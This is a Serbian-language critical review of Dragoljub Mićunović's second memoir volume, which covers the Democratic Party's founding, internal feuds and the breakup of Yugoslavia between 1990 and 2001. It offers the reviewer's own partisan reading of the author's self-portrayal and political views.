Dragoljub Mićunović i neophodnost mere

понедељак, 8 септембра, 2014 у 9:33AM

ŽIVOT U NEVREMENU – U POLITIČKOM VRTLOGU-knjiga druga: 3. februar 1990. – 25. januar 2001 .

Objavljivanje memoarskih zapisa veoma često izaziva mnogobrojne kontroverze, nedoumice, osporavnja i različito motivisana reagovanja i to ne samo neposrednih učesnika određenih istoprijskih i društvenih događanja.To se naročito odnosi na memoare koje su  u napisali istaknute političke i istorijske aktere, jer oni često donose ocene  pojedinih važnih  događaja i li;nosti  koje stvaraju  sliku određene epohe.Oni mogu biti izuzetno važni u oblikovanju našeg viđenja i tumačenja političkih događaja i pojava a to je posebno važno kada se radi o memoarskim zapisima u kojima se ne poštuje istorijska distanca, već ih pišu neposredni učesnici savremenih političkih  dešavanja.Tim više je izazov veći, jer se autor kreće na tankoj ivici  subjektivnog  pristupa i neophodnosti da se postigne objektivna istorijska istina u najvećoj mogućoj meri.To je grupa memoara koju pišu naši savremenici i time se  neminovno otvara pitanje dostignutog stepena objektivnosti i  tumačenju aktera i karaktera  istorijskih prilika i  dešavanja.Obično se  pisci memoara pre svega pozivaju na svoju nameru da poštuju princip objektivnosti i težnju da što više  relativizuju i zatome svoju ulogu i tako izbegnu zamku subjektivnosti i glancanje sopstvene biste, ispoljavanja narcisoidnosti i naknadne pameti. To je veoma težak i zahtevan izazov koji mogu da prihvate i prevladaju samo retki i vrhunski umovi.Zato i nema mnogo memoara koji mogu da posluže kao pozdan vodič kroz određenu političku  i istrijsku epohu.

 Dragoljub  Mićunović u svojoj drugoj knjizi memoarskih zapisa Život u nevremenu II nema ovu vrstu problema,  njegov pristup je pretežno subjektivan, pošto on sebe predstavlja  nezaobilaznim katalizatorom i glasom razuma, koji  uspeva da ostvari toliko potrebnu ravnotežu u političkim sukobima, ostajući uvek izvan političke baruštine u kojoj su se valjali ostali učesnici tadašnjih političkih dešavanja. Gojko Nikoliš je u knjizi Zapisi pod pritiskom, opisujući svoje iskustvo u oblikovanju njegovih izuzetnih istorijskih i memoraskih  zapisa Koren, stablo,  pavetina, izneo veoma zanimljiv stav o problemu odnosa subjektivnosti u ovakvoj vrsti literarnih ostvarenja.“Memoar nije istorija kako to često žele da predstave njegovi autori(pišem subjektivno i pristrasno) i kao što traže u njemu neki čitaoci, naročito savremenici.Memoar je subjektivno viđenje događaja, ljudi pa tako memoarist ima slobodu da i samog sebe posmatra subjektivno. Ukoliko se više zakljinje u objektivnost utoliko gore po njega: odriče se vlastite slobode.Uostalom, kad je reč o istorijskoj nauci možete li mi navesti primer“objektivno napisane istorije“. Autor zapisa u knjizi  Život u nevremenu II dosledno se pridržavao ovih stavova Gojka Nikoliša jer u u njegovom pristupu dominira njegov subjektivni stav, koji je veoma često prožet pristrasnošću i težnjom da se izriču neupitne „istine“ i „ocene „ o političkim procesima i  njihovim akterima.U njoj se obrađuje politički vrtlog-3 februar 1990 – 25 januar 2001 godine , najvažniji i najdramatičniji događaji naše savremene istorije-Osnivačka Skupština DS, počeci višestranačkog života, rušenje Titovog kulta ličnosti, prvi mitinzi opozicije, počeci borbe za premoć u DS, prva izborna kampanja, prvi višestarnački izbori 1990 godine, kriza i raspad SFRJ, krah iluzija o Jugoslaviji i JNA, političko vrenje u Srbiji i najava kosovske drame,rasplamsavanje građanskog rata i razbijanje savezne države, ideja i kratki život Deposa, poslednji dani Panićeve vlade, poslednji susret i razgovor sa Slobodanom Miloševićem, narodni otpor zbog pokušaja izborne krađe 5. Oktobra 2000 godine, prvi koraci u izgradnji demokratske vlasti, složen odnos prema ličnosti Zorana Đinđića.Sve su to čvorišne tačke naše savremene političke i društvene  istorije u kojima je neposredno učestvovao Dragoljub Mićunović i sada o tome svedoči u svojim memoarskim zapisima demonstrirajući pre svega svoje lično  viđenje ovih istorijskih događanja ne trudeći se mnogo da  obuzda svoj subjektivan pristup najrazličitijim pitanjima naše savremene političke povesti a to se naročito odnosi na deo njegovih zapisa posvečenih obnavljanju i delovanju Demokratske Stranke u vreme ponovnog zasnivanja višestranačkog života. Zato je veoma značajno pokazati na koji način je Dragoljub Mićunović opisao prve korake  obnovljene Dremokratske Stranke ali i razvoj političke krize u Jugoslaviji u osvit njenog  razbijanja.

Druga knjiga memora i počinje zapisom o Osnivačkoj skupštini Demokratske Stranke koja je za Dragoljuba Mićunovića rađanje demokratije a poletno organizovanje  ove Skupštine podsećalo ga je na studentsku 1968 godinu, na stvaranje nove stranke , pojavu novih ljudi u izmenjenim političkim prilikama i afirmaciju, čuvanje i poštovanje onoga što je najbolje i najčestitije u našoj političkoj tradiciji.Ova idealistička slika je ubrzo narušena o čemu svedoči i autor ove knjige.U zapisu o osnivačkoj Skupštini Demokratske Stranke sadržan je iskaz o svim kontroverzama koje su dovele do velikih turbulencija u ovoj stranci ali se može veoma jasno prepoznati i odnos Dragoljuba Mićunovića prema načinu delovanja stranke kao zatvorene  organizacije u kojoj  u kojoj vladaju pravila kojima se obezbeđuje efikasnost i subordinacija u stranačkom funkcionisanju a to se dešava već u idilično vreme obnavljanja rada Demokratske Stranke.Pristup delovanju partije nije se mnogo razlikovao od načina kako se to odvijalo u vreme jednopartijskog sistema jer je bilo ključno obezbediti i učvrstiti jedinstvo partijskog delovanja. Svako narušavanja ovog jedinstva slabilo je snagu partije i njenu operativnu sposobnost da se suočava sa političkim izazovima. Svako iskakanje  se već tada smatralo nepoželjnim i štetnim.Dragoljub Mićunović posebno naglašava  epizodu u kojoj su pozvani gosti na osnivačkoj Skupštini, uglavnom pisci okupljeni  oko B . Mihajlovića  Mihiza izrazili nezadovoljstvo što nema posebne deklaracije o Kosovu i da su  zbog toga  izrazili nameru  da napuste skup.Veoma je indikativno reagovanje Dragoljuba Mićunovića koji se pita“ s kojim pravom oni kao gosti, koji nisu članovi DS nameću teme Skupštini.Što se nisu učlanili u stranku ili osnovali svoju, pa pravili program kako žele“. Po njemu ovi nezavisni i nestranački intelektualci nisu pravili razliku između osnivačke Skupštine jedne stranke gde je sve unapred   dobro pripremljeno i uigrano i javnog skupa jer bi na  taj način bila  poremećena unapred dogovorena šema kako treba da funkcioniše osnivačka Skupština jedne stranke. On nevoljno kaže da je ipak sastavljena NEKA izjava o Kosovu, očigledno je da u to vreme za njega nije bilo toliko važno pitanje a taj nedostatak konzistentne politike prema rešavanju kosovskog pitanja prisutan je i danas u redovima Demokratske Stranke.

U ovim memoarskim zapisima Dragoljub Mićunović je u nekoliko navrata  apostrofirao svoj veoma negativan odnos prema tada najznačajnijijim  i najuglednijim intelektalcima Srbije, ocenjujući ih kao posebnu zavereničku grupu koja deluje iz Udruženja Književnika u Francuskoj 7 i SANU nastojeći da kontroliše delovanje DS, kreiranje političkih i kadrovskih odluka i ugrozi njegov položaj Predsednika DS.On navodi da je „ tako bilo i 1968 i 1990 i u svakoj drugoj prilici.Dobrica Ćosić mi je jednom usput dobacio:Sinoć sam bio u Klubu Književnika, čujem da su rešili da te smene“. Veoma je ilustrativan i njegov odnos prema istupanju našeg znamenitog pesnika Ljubomira Simovića koji se u ime DEPOSA februara 1993 godine obratio Skupštini DS sa uputstvom šta bi ona trebala da radi, sledeći demokratsku opoziciju Srbije.“Delegatima Skupštine to je delovalo kao iskakanje iz okvira uobičajenog bontona ponašanja gosta.Meni je  izgledalo kao „ amatersko“razumevanje politike, opterećeno ambicijama dela literarne srpske inteligencije da usmerava  sve političke stranke nad kojima pruzima strateljstvo“. Kritiku tadašnjeg  delovanja  DS Dragoljub Mićunović svodi na amatersko  poimanje politike i pokušaj uspostavljanja političkog starateljstva od strane literarne čaršije, zato nije ni čudno što tadašnja opozicija nije mogla gotovo čitavu deceniju da formira ozbiljnu i delotvornu opoziciju režimu S. Miloševića jer je svaka stranka smatrala da ona jedina ima pravo da odredi koji je stepen kritičnosti dozvoljen i prihvatljiv.Nije čudno što se danas pitamo zašto više nema  istaknutih intelektualaca  i kritičkog dijaloga u  DS ali  i u našem političkom životu. Autor ovih zapisa ne krije svoje  nezadovoljstvo ovim  vaninstitucionalnim delovanjem  o kome se izjašnjava sa izrazito negativnih pozicija kao da se politika može voditi jedino po stranačkim pravilima, negirajući značaj uticaja javnosti i  građanskog društva.Ova vrsta političkog antiintelektalizma i stranačkog ekskluzivizma može se prepoznati u ovim zapisima i u odnosu na uređivačku koncepciju lista  Demokratija -glasila DS i njegov odnos prema njenom uredniku Aleksandru Iliću koji po njemu nije vodio dovoljno računa o hronologiji jednog izbornog događaja(izboru predsednika DS), nije sledio partijsku liniju i od  stranačkog lista je napravio časopis on je trebao da bude pre svega u službi stranke i  njenog predsednika . Ako je neko u ovoj zemlji znao i zna šta je  suština i značaj slobode štampe onda je to svakako Aleksandar Ilić koji i danas neumorno zastupa izvorne liberalne i demokratske stavove i to ne samo o značaju funkcionisanja  slobodne javnosti. Zato Dragoljub Mićunović kaže da je   list „ postao nezanimljiv. U njemu su Nikola Milošević i Kosta Čavoški objavljivali duge radove na po više strana, pa je Demokratija sve više ličila na književni časopis nego na politički list koji je bio zatvoren za njega, bez obzira što je objavljivano sijaset njegovih fotografija i izjava, jer se Aleksandar Ilić pozivao na „slobodu štampe“ i „nezavisnost medija“ ne uviđajući neophodnost usklađivanja stranačke politike.“Međutim, uprkos  velikoj  načelnosti u raspravi o slobodi štampe, radilo se o sve većoj “privatizaciji“ partijskog glasila u kome stranka nema uvid u sadržaj lista i raspolaganjem njenim prihodima“. Niste pogrešili, ovo nije izjava nekog stranačkog aparatčika iz vremena jednopartijskog sistema već stav o funkcionisanju slobode štampe koji je izneo predsednik DS Dragoljub Mičunović. Treba reći i da se radi o čoveku koji je napisao predgovor izboru  tekstova Karla Marksa o slobodi štampe  u knjizi – Birokratija i javnost  za koji je on napisao opširan predgovor.Može nas čuditi da je on u jednom autoritarnom poretku s mnogo više principijelnosti i hrabrosti branio pravo na slobodu mišljenja neno u vreme kada je,  kao jedan od najuticajnijih političara vladajuće stranke određivao glavne smernice razvoja savremene politike i društva.  Ipak na ovom  ovom  primeru odnosa prema stranačkom listu Demokratija   može  se jasno videti u suštini autoritarna crta u  njegovom pristupu  vođenju stranačke politike iako on  konstantno važi za oličenje političara koji je dosledan u poštovanju i zastupanju demokratskih principa.Ali ovi memoarski zapisi upravo pokazuju da je njegovo shvatanje stranačkog delovanja uslovljeno pre svega zastupanjem i odbranom uskostranačkih interesa u koje žele da se mešaju nepozvani intelktualci kao neka vrsta političkih parazita jer ne žele da prihvate pravila i norme partijske discipline i poslušništva, a žele da  neplanirano i spontano pokreću političke i društvene inicijative i da tako utiču neovlaščeno na vođenje stranačke politike.“ Jedan deo naših članova  bio je integrisan u krugove Akademije nauka i Udruženja književnika i pripadali su onom širem krugu srpske intelogencije koji je smatrao da najbolje razume šta je pravi nacionalni i državni  interes i da se taj njihov „krug“ zato mora pitati za savet o važnim državnim i nacionalnim pitanjima. Mnogi od njih su smatrali da im se i vlast i opozicija moraju obraćati za mišljenje.Oni su često imali ambiciju i da utiču na kadrovska rešenja i u vlasti i u opoziciji“. Ovako u svojim zapisima govori Dragoljub Mičunović koga u javnosti često bez velikog pokrića proglašavaju za „patrijarha“ srpske demokratije(doduše uveliko istrošenog i prevaziđenog) vidi ulogu  intelektualaca koji nisu stranački povezani u formiranju demokratske javnosti i demokratski opredeljne politike..  Danas se  u Demokratskoj stranci često postavlja pitanje zašto je  ova nekada  intelektualno veoma snažna stranka ostala bez podrške istaknutih intelektualaca i ozbiljnih stvralaca, odgovor se između ostalog krije i u ovako formulisanimm stavovima njenog prvog predsednika  koji smatra da niko ne može narušavati unutrašnju monolitnost i politički monopol( pre svega monopol predsednika stranke) na vođenje pre svega kadrovske politike jer je to glavni osnov posedovanja  moći  u političkim i društvenim odnosima. U tom  smislu je indikativan i njegov stav prema stranačkim aktivistima koji nisu do kraja sledili zacrtanu stranačku politiku verujući da je prošlo vreme političke monolitnosti i jednoumlja očigledno je da su se prevarili i prenaglili  a Opštinski Odbori DS koji su nastojali da samostalnije vode politiku za Dragoljuba Mićunovića  samo su širili koterijski duh i stvarali posebno neodrživu atmosferu, lobiranje i klijentelizam čiji mehanizam i primenu   veoma dobro poznaje i autor ovih memoarskih zapisa.U ovoj knjizi je nekoliko poglavlja posvečeno strasti ogovaranja, intrigarenja i podmetanja koja se pojavila u DS odmah nakon njenog formiranja i koju su posebno iskazivali ljudi koji su bili njeni osnivači i  kada su videli da i nije baš tako opasno biti predsednik DS ispoljili svoju želju da razaraju  njeno jedinstvo nastojeći da smene aklamacijom izabranog predsednika. Dragoljub Mićunović u ovim zapisima  ne štedi večinu osnivača DS predstavljajući ih kao beskrupulozne intigantne i lobiste koji su već na početku  stranačkog delovanja ispoljili svoje velike političke ambicije, sujetu i slavoljubivost.To  su sve osobine koje se,  po rečima  Dragoljuba Mićunovića, ne mogu naći u njegovom političkom delovanju, jer on sebe u ovim zapisima predstavlja kao onaj uvek prisutni glas razuma, koji je oslobođen svih ovih politikantskih slabosti i strasti, jer on je upravo ta politička figura koju svi žele da oblate, sruše i eliminišu iz političkog života , ali on je uspeo da se održi zato što je bio iznad tih  politikantskih strasti.On sam za sebe kaže da je verovao „ imam sve preduslove za dobrog političara, znam dosta o političkim teorijama, ogledao sam se i u konkretnoj političkoj borbi (1968) znao sve slabosti ove vlasti, znao sam prilično toga o ljudima i masama-o stadu i pastirima, o ulozi demagogije, laži i straha u politici. Verovao sam da ću biti  realan političar, bez iluzija i lakog podleganja nekritičkom optimizmu, bio sam spreman da poverujem francuskom filozofu Helvecijusu i prosvetiteljima 18. veka da su interesi ključna sila koja utiče na ponašanje ljudi. Ono što je gravitacija za fizička tela to je interes za politička tela“. Ovaj specifični vid samoreklamerstva i preporučivanja  za ulogu političara sadrži jedan veoma važan elemenat, isticanje znanja  i važnosti  odnosa pastira i stada. Za večinu naših političara taj odnos  je i danas od posebne važnosti jer naš narod zaista posmatraju i tretiraju kao stado u tome nisu bili nikakav izuzetak ni funkcioneri Demokratske stranke ne samo kada su bili na vlasti. Dragoljub Mičunović je zaista znao da demonstrira kako izgleda delovanje realnog političara  na našoj  političkoj sceni  a   njegovo shvatanje gravitacionih političkih interesa može se videti na primeru kandidovanja poslaničke liste za prve višestranačke izbore.“Neki su me , dobronamerno ili ne, savetovali da se kandidujem u Kruševcu, rukovođeni dobrim prijemom na koji smo naišli prilikom osnivanja DS i velikim brojem mojih đaka, sada učitelja, koji su bili spremni da se angažuju u kampanji.Za mene je bilo  najvažnije da ne izgubim na prvim izborima. Međutim, ja sam smatrao da se kao predsednik stranke moram ogledati  u Beogradu, u glavnom gradu, u centru  države i da će tom mojom eventualnom pobedom i stranka pokazati svoju snagu. Smatrao sam da treba s najjačim kandidatima da „napadenemo“ Beograd kako zbog najnaklonjenijih birača tako i zbog najveće međunarodne i naše kontrole“. Ovo je najbolji način da se vidi kako se  gravitacioni interes predsednika stranke proglašava za glavni interes same stranke jer njemu pripada mesto na kojem će sigurno dobiti poslaničku funkciju i ta praksa je ostala sve dok je važio većinski izborni sistem. Partijska elita je uvek išla na sigurno, jer to je najvažnijni interes stranke da na izborima pokaže svoju snagu tako što će uvek biti na  sigurnim biračkim jedinicama  pretplaćeni partijski funkcioneri.Međutim , ovakvo shvatanje političkog i partijskog interesa nije važilo za profesora Nikolu Miloševića, koji nije prošao kao poslanički kandidat na opštinskom odboru stranke na Vračaru, jer ga je pobedio Đorđe Zečević, koji je bio Vračarac i uz to je i finansirao kampanju, i na Vračaru se odbor opredelio za njega i Zorana Đinđića“.Dragoljub Mičunović u svojim zapisima ne nalazi za shodno  da komentariše činjenicu da je odlučujući činilac za izbor ovog  poslaničkog kandidata bilo finansiranje izborne kampanje što je kasnije u delovanju DS bilo jedno od najvažnijih načina da se dođe do poslaničke kandidature i važnijeg položaja i uticaja u stranci. Zato Nikola Milošević i ljudi njegovog profila nisu imali  šanse, jer nisu bili u stanju da finansiraju delovanje stranke ne samo na izborima. Tako je otvoren put za upliv  onih ljudi koji su posedovali finansijsku moć, ali i koristili stranku za svoje bogaćenje  što je i dovelo do sloma DS na izborima 2012 godine .Ali Dragoljub Mićunović nije propustio priliku da se na prizeman  i diskvalifikatorski način obračuna sa Nikolom Miloševićem, koji je pored Koste Čavosškog označen kao predstavnik one struje u stranci koja se služila klevetanjem, intrigama i podmetanjima ne bi li ugrozili njegov položaj aklamacijom izvikanog predsednika DS.Njihova  glavna krivica je bila u tome što su imali  ozbiljne i argumentovane primedbe na način vođenja stranke i formulisanja njene  politike   a i ispoljavali su i neobuzdanu sujetu i političku ambiciju da se umešaju u kandidovanje za predesednika stranke, koji je trebao  da bude izabran na  po njemu iznuđenoj Izbornoj Skupštini.Upravo je na toj sada već istorijskoj Izbornoj Skupštini DS  Dragoljub Mićunović pokazao da je veoma dobro razumeo kako se koristi tehnologija unutarstranačkih obračuna ,  lobiranja, ali i kako se u pravom trenutku  koristi politički marketing.To se može videti u njegovom opisu silaska među delegate Skupštine i kako  se podizala tenzija i pobednička atmosfera a  njegov  govor je bio samo majstorski završni udarac kako je to ocenila Vida Ognjenović.A pri tome se on javlja kao i uvek javlja kao glas razuma i ravnoteže koji je iznad te uzavrele i prljave pene stranačkih obračuna u koje se on ne meša, jer je iznad tih političkih tirvijalnosti zagledan u ostvarivanje  važnijih gravitacionoih interesa u politici.On je jednostavno iznad tog meteža , oslobođen sujete, intrigarenja i političkih ambicija.To je pozicija koju on neprestano naglašava i forsira u svojim memoarskim zapisima.U samoj pripremi  izborne Skupštine veoma je indikativna  epizoda u kojoj se može videti kako izgleda taj uravnoteženi pristup lišen sujete i ambicija na koji se neprestano poziva  Dragoljub Mičunović. Kada  su se vraćali sa satanka sa A. Karađorđevićem  Kosta Čavoški je rekao „Znaš ja ću se kandidovati na Izbornoj Skupštini protiv tebe. Nisam bio iznenađen , ali sam ga pitao:Zašto protiv mene, ja ne znam da li ću se uopšte kandidovati, mada me mnogi nagovaraju.Što se jednostavno ne kandiduješ za sebe, nego protiv mene?Dobro to je isto, ali ovako dalje ne možemo, ja neću više da delim vlast-objasnio je Kosta.Ovim sam obrazloženjem već bio iznenađen, rekao sam mu sa izrazom čuđenja :Kosta zar si zaboravio da si doktorirao na političkoj filozofiji Džona Loka u čijoj je političkoj teoriji upravo  podela vlasti temelj demokratije? U prvoj prilici gde imaš neku imaginarnu vlast, u jednoj maloj stranci tek u nastajanju, ti već ne želiš vlast“. Nismo u ovim  zapisima dobili podatak kako je odgovorio Kosta Čavoški, ali je zato sledio nastavak njegove otvorene   ideološke  diskvalifikacije, jer Dragoljub Mićunović se pita „zašto Kosta Čavoški , vredan politički teoretičar, nije doktorirao na onim političkim teorijama koje su zastupali oni koji su bili protiv podele vlasti: Musolini, Hitler, Staljin, Tito.Ovakvih koji nisu želeli da „dele“vlast ima u teoriji i praktičnoj politici koliko god hoćete, zašto je izabrao baš Džona Loka, koji je insistirao na principu podele vlasi kao temelju svoje političke filozofije“. Jedino se on javlja kao branilac principa podele vlasti a svi ostali koji su pokušali da ugroze njegovu predsedničku poziciju u to vreme napustili su svoja temeljna  politička opredeljenja i i demokratske ideale na koje su se pozivali. Na ovom fonu je interesantno razmotriti odnos Dragoljuba Mičunovića prema političkom  delovanju Borislava Pekića u obnovljenoj Demokratskoj Stranci.Iako ga otvoreno ne svrstava u grupu stranačkih zaverenika i mešetara sklonih intrigama i podmetanjima on ne propušta priliku da i njega prikaže kao neku vrstu političkog posrednika i glasnika u unutarstranačkim previranjima i sukobima.Bez obzira što se nije slagao sa procenom da se Borislav Pekić kandiduje na poslaničkim izborima u Rakovici nije našao za  shodno da jedan od naših najznamenitijih pisaca i  intelektualaca bude kandidovan na  sigurnom Starom gradu, već je prepušten da doživi veliki izborni poraz, koji je po rečima Dragoljuba Mičunovića on veoma teško podneo.Ali je zato on bio kandidat na Starom Gradu, jer predesednik stranke ne  sme da izgubi izbore, ali se zato može stranka narugati svom najčasnijem i najistaknutijem članu. Dragoljub Mićunović se nije  ni u ovim  memoarskim zapisima zapitao koliko je DS izgubio time što je  tada grubo žrtvovao Borislava Pekića, koji je bio oličenje  časti i etike u politici. On je ipak zapisao da je posle tog poraza Borislav Pekić napustio stranačko delovanje i otišao u London i tamo napisao neke dobre knjige.Taj poraz je za B. Pekića u tumačenju Dragoljuba Mičunovića bio lekovit, jer ga je vratio njegovoj izvornoj literarnoj vokaciji.Samo što Borislav Pekić nije napiso neke dobre knjige(najviši stepen estetske ocene koju je mogao da dosegne D. Mićunović), već izuzetna  remek dela  naše književnosti što je njegov literarni opus svrstao u same vrhove naše literarne umetnosti.Dragoljub Mićunović nije imao taj izazov pred sobom jer je on imao sve predispozicije za uspešnog i realno opredeljenog političara zato mu nije ni bilo potrebno da ostvaruje značajniji naučni i teorijski  opus, jer on se žrtvovao gradeći svoju uspešnu političku karijeru. U svojim dnevničkim zapisima(nedelja 8. maj 1983. godine) Borislav Pekić je zapisao .“Prvi paradoks mojih“političkih“ aktivnosti je u tome što ih ja sa manjom ili većom upornošću preduzimam, iako sam odavno ubeđen u njihovu apsolutnu beskorisnost. Drugi bitnijni pradoks je u tome što besmislenost mojih postupaka daje izvesnu snagu, koju ne bi imali kad bi  fanatično verovao u njihovu korisnost. Uzaludnost koje sam svetan , nekorisnost koju priznajem, daje mojim činovima čar amaterske igre, slobodne amaterske igre , i igra je često skupa, ali je svaka cena isplativa za osećanje da se čovek sasvim nesebično uzdigao iznad tzv. zdravog razuma, kao instrumenta za izvlačenje profita iz života. Ja ovo osećanje besmislenosti i uzaludnosti ne bih zamenio ni za kakvu veru. Moj je jedini strah da budem primoran pomisliti kako sam u nečemu najzad našao neki smisao. Da otkrijem laž u koju se može, tačnije, mora verovati“. Naša politika je danas upravo ophrvana lažima  u koje se mora verovati ali zato memoarske zapise moramo primati sa velikim oprezom i rezervom jer često služe za lične i ideološke obračune  što možemo naći i na stranicama ove knjige.

  U ovim memoarima značajno mesto zauzima autorov odnos prema razbijanju Jugoslavije, uzrocima ratnih sukoba, rešavanju srpskog nacionalnog pitanja, klerikalizmu i strvaranju uslova za formiranje demokratskog sistema u Srbiji.Njegov osnovni stav se može prepoznati u viđenju Srbije, njene istorije i nacinalnog interesa.“ Srbija  je zemlja zakasnele industrijalizacije, zakasnele nacionalne države, zakasnelog kulturnog preporoda.Ali ona to kašnjenje  ne vidi kao zaostajanje, već kao svoju osobenost, kao čuvanje  svog identitta.Lenjo mišljenje, zaljubljeno u tradiiciju, sklono nekritičkom“doterivanju prošlosti“ opiralo se uvek , ne birajući sredstva, onim blistavim umovima koji su hteli modernu Srbiju koju će pratiti razvijeni i slobodni svet“. U ovom odlomku je sadržan odnos Dragoljuba Mićunovića prema rešavanju srpskog nacionalnog pitanja prožet tzv. građanskim pristupom, koji je ovde promovisan i u vreme razbijanja federalne Jugoslavije, a njeni glavni promoteri i protagonisti su i danas veoma glasni i agilni ali široko zastupljeni  u javnosti nastojeći da Srbiju predstave kao glavnog krivca za nestanak jugoslovenske utopije.Zasupajući ideju o restauraciji antimodernog, klerikalnog i principijelnog duha u Srbiji Drgaoljub Mičunović se u potpunosti  približio političkoj grupaciji tzv. Druge – građanski orijentisane  Srbije.Biće on spreman da svoje političko delovanje zasoli i ponekim izletom u nacionalnu retoriku ako je to politički probitačno ali generalno iz njegovog  tzv.građanski  obojenog pristupa može se danas jasno videti zašto Demokratske Stranka nikada nije imala  dosledno i iskreno formulisanu nacionalnu politiku što se pokazalo i kao jedan od važnijih uzroka njenog  aktuelnog političkog  poraza iz koga se ona veoma teško pronalazi izlaz.O tome svedoči i njegov memoarski zapis o za njega neprihvatljivoj politizaciji filozofije i njegovom učešću na skupu koji je organizovalo Srpsko filozofsko društvo u Sremskim Karlovcima čija je tema bila „Misliti Evropu“.On kaže kako su uvodničar Mihajlo Marković i večina učesnika bili kritički usmereni prema –duhovnim kretanjima u Evropi, preispitujući njen identitet zastupajući tezu da je Evropa izgubila svoj identitet i vrednosna uporišta ilustrujući to odnosu  Evrope prema  Srbije u vreme najdublje političke krize i razbijanja Jugoslavije.Dragoljub Mičunović prepoznaje i u ovakvim stavovima politički dominatna tradicionalistički i nacionalistički etos i zrelost zbog „jednostrane i pristrasne „ ocene sukoba u  Jugoslviji i  na taj način se pripremala teorijska osnova koja je trebala da posluži tadašnjem vladajućem režimu i njegovim ideološkim potrebama. Jedino se on na tom skupu zapitao koji je to naš identitet koji opstojava nasuprot evropskom i jedino se on založio za odbranu evropskih vrednosti dok su ostali učesnici oličavali politikantski  pad nivoa filozofskog raspravljanja. Kakva se to  politikantsaka svest i netolerancija uvukle u filozofski život pita se branilac univerzalnih evropskih vrednosti koji se pri tome nije zapitao koliko je zbilja objektivan i nepristrasan odnos te međunarodne zajednoice i Evropske Unije prema složenom procesu razbijanja Jugoslavije. Za njega ta dilema jednostavno ne postoji jer on nije podlegao  politikantskoj ideologizaciji.Tu „objektivnost „ ali i neskrivenu pristrasnost možemo i danas  jasno prepoznati  u održavanju i podsticanju jednom   stvorene  negativne medijske slike Srbije kao glavnog krivca u   razbijanju   Jugoslavije i  najvećeg  krivca za izbijanje i vođenje građanskog rata . Okarakterisati Slobodana Žunjića, Mihaila Markovića i posebno Mihaila Đurića kao filozofe koji su politikantski rušili i negirali evropske vrednosti i neobjektivno dovodili u pitanje identitet Evrope spada u način mišljnja koji je inače svojstven piscu ovih memoarskih zapisa jer on se uvek javlja kao poslednja odbrana razuma i odlučna brana pred navalom srpskog  nacionalizma i restauracije prevaziđenih ideoloških i političkih koncepcija i  retrogradnih društvenih modela.

 Treba samo navesti na koji način je Dragoljub Mičunović govori o borbama za oslobađanje Vukovara prikazujući srpsku stranu kao razularenu pljačkašku paravojsku koja je bila  izraz razobručenog srpskog nacionalizma.Još je indikativniji zapis o njegovom prisustvu u Prebilovcima gde je održan veliki narodni zbor i otvaranje jama i sahranjivanje kostiju žrtava bačenih u jame 1941 godine. Na tom mestu je ubijeno više od 60 članova porodice našeg znamenitog istoričara Milorada Ekmečića. “Bilo je preko hiljadu ljudi, patrijarh mnoge vladike i gomila popova, rukovodstvo Srpske demokratske stranke, na čelu sa Karadžićem i mnogi viđeniji intelektalci iz Beograda i Sarajeva. Sunce je bilo upeklo, nigde hlada, a popovi su razvukli opelo na nekoliko sati. U međuvremenu su speleolozi iznosili kosti koje su razvrstavane u nekim kutijama, po veličini, dečije i odraslih, muške  i ženske. Od vrućine i prizora s tolikim kostima nekoliko se ljudi onesvestilo. Bilo je među prisutnim i onih čijih je po petnaest članova porodice bilo bačeno u ovu jamu. Masa se rasula među kamenjem, neki su se dočepali piva i nekoliko stolova, razgalamili su se u svakodnevnim razgovorima.Nije bio adekvatne organizacije ni pravog pijeteta.Novinari su me saletali pitanjima i „utiscima“ kao da je reč o pozorišnoj premijeri.Nisam hteo reč da progovorim, obuzela me je neka mučnina, izazvana stidom pred tom gomilom pomešanih kostiju bezimenih muškaraca žena i dece.Zamišljao sam tu užasnu smrt nedužnih ljudskih bića koja su decenijama ostavljana na dnu jame nepopisana i pristojno nesahranjena.Skoro sam pobegao sa ovog mesta i tek sam sutradan u Beogradu dao opširnu izjavu o događaju.Rekao sam da se kao savremenik osećam duboko postiđen, gledajući kako su danas te kosti, ostaci ljudi koje niko nije popisao, niko ih nije četrdeset godina sahranio, kako su te“kosti-ljudi“ postali dans predmet političke manipulacije. Ko je mogao da zabrani Crkvi da ih izvadi iz jama i sahran?Zašto nijedan patrijarh, vladika ili iguman nije rekao-Skočiću u jamu ako ne date da održimo opelo i sahranimo ih-. Zašto nije neko od pisaca rekao poput Sofoklove Antigone, da svaki ljudski stvor ima pravo na svoj grob“. Ovo je zaista čudan način izražavanja pijeteta  koji je izabrao Dragoljb Mičunović, jer on ni ovom prilikom ne može da suspregne svoj borbeni ateizam  i pokaže dozu prezira prema ulozi crkve u ovakvim prilikama. On je zato našao za shodno da istakne svoje neslaganje sa političkom manipulacijom kostima mučenika iz Prebilovaca  što je jedna od  najčešće korišćenih ideoloških mantri predstavnika  građanske Srbije koji su uvek tvrdili da je pozivanje Srba na njihove žrtve u Drugom svetskom ratu i na genocid koji je izvršen u  Jasenovcu i drugim stratištima bio jedan od glavnih uzroka za  stvaranje  političke krize koja je dovela do razbijanja zajednice ravnopravnih naroroda i narodnosti  u kojoj Srbi nisu mogli ni nakon četrdeset godina da sahrane svoje mučenika . Zar Dragoljb Mićunović zaista  misli da je bilo ko od crkvenih velikodostojnika mogao u vreme socijalizma  da izdejstvuje  dostojnu sahranu srpskih žrtava u društvu u kome je  preovladavao politički  aksiom o  opasnosti od pčostojanja i širenja srpskog nacionalizmu koji je morao uvek  biti uvek pod posebnom kontrolom jer on je  bio najopsanjiji izazov za održavanje bratstva i jedinstva.

  Zastupanje  republikanskih  vrednosti i ideala  u ovim zapisima Dragoljuba Mićunovića javlja se kao osnovno političko i vrednosno opredeljenje.On se neprestano poziva na na njihovu odbranu u stvaranju demokratskog društva i to čini shodno realnim političkim okolnostima bez obzira što su oni često bili žrtvovani zahtevima dnevne politike .Ali zanimljivo je , ma koliko se autor pozivao na potrebu razvijanja  dijaloga i tolerancije on ne može da izađe iz okrilja  neprestanog ukazivanja na opasnost od širenja srpskog nacionalizma, fašizacije srpskog društva i  narastajuće klerikalizacije našeg društvenog života.

